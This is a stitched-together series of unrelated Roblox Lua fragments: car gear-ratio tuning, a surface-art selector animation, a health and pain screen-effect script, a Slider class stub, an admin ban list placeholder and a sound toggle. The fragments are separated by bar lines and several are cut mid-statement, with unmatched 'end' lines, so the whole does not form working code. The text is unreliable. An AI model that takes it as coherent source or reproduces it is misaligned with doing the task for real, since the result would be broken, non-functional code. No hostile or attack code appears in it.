"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 4.5 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.04 ,
--[[ 3 ]] 1.38 ,
--[[ 4 ]] 1.03 ,
--[[ 5 ]] 0.81 ,
--[[ 6 ]] 0.64 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
--[[
Sets the current index of the surface art.
]]
|
modules.setCurrentIndex = function(self)
return function(index, offset)
if self.isAnimating then
return
end
-- Can't figure out the right way to do this - we can only calculate how much to move
-- the frame using the images rendered within this frame, not the entire rendered indexes Frame
local target = constants.SurfaceArtSelectorItemSize * offset
self.updateTarget(target)
self.targetIndex = self.formatTargetIndex(index, offset)
task.spawn(function()
self:setState({ offset = math.abs(offset) })
self.isAnimating = true
self.motor:setGoal(Otter.spring(target, { frequency = 3 }))
task.wait(0.5)
self.isAnimating = false
self:setState({ selectedIndex = index, offset = 0 })
self.motor:setGoal(Otter.instant(0))
end)
end
end
|
--SKP_10:Create(SKP_23,TweenInfo.new(2.5 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{TintColor = Color3.new(1,1,1)}):Play()
|
SKP_11:AddItem(SKP_22, 3 * Hurt)
SKP_11:AddItem(SKP_23, 2.5 * Hurt)
end
SKP_20 = SKP_7.Health
end)
local SKP_24 = false
SKP_15.Variaveis.Dor.Changed:Connect(function(Valor)
end)
SKP_17.Changed:Connect(function(Valor)
if Valor >= SKP_17.MaxValue/2 then
SKP_12.Saturation = ((Valor*2)/SKP_17.MaxValue) - 2
elseif Valor < SKP_17.MaxValue/2 then
SKP_12.Saturation = -1
elseif Valor <= 0 then
SKP_12.Saturation = -1
end
end)
SKP_15.Variaveis.HitCount.Changed:Connect(function(Valor)
if Valor >= 3 then
SKP_4.Render:FireServer(true,"N/A")
end
end)
SKP_16.Changed:Connect(function(Valor)
if Valor == true then
SKP_13.Brightness = -10
else
SKP_13.Brightness = 0
end
end)
SKP_rodeath.Changed:Connect(function(Valor)
if Valor == true then
SKP_13.Brightness = -10
else
SKP_13.Brightness = 0
end
end)
if SKP_7.health <= 0.1 then
Morto = true
SKP_7.AutoRotate = false
SKP_13.TintColor = Color3.new(1,1,1)
|
-- Class
|
local SliderClass = {}
SliderClass.__index = SliderClass
SliderClass.__type = "Slider"
function SliderClass:__tostring()
return SliderClass.__type
end
|
-- Read the comments below to set your admin commands to your liking --
|
local Banned = {"Put Name Here"} --Put the person you want to bans name here, or use the command ";ban [Player]"
|
--sound.ScriptWestMinsterChimes.Disabled=true
|
sound.ScriptOff.Disabled=false
sound2.ScriptOff.Disabled=false
wait(4)
end
wait()
end
|
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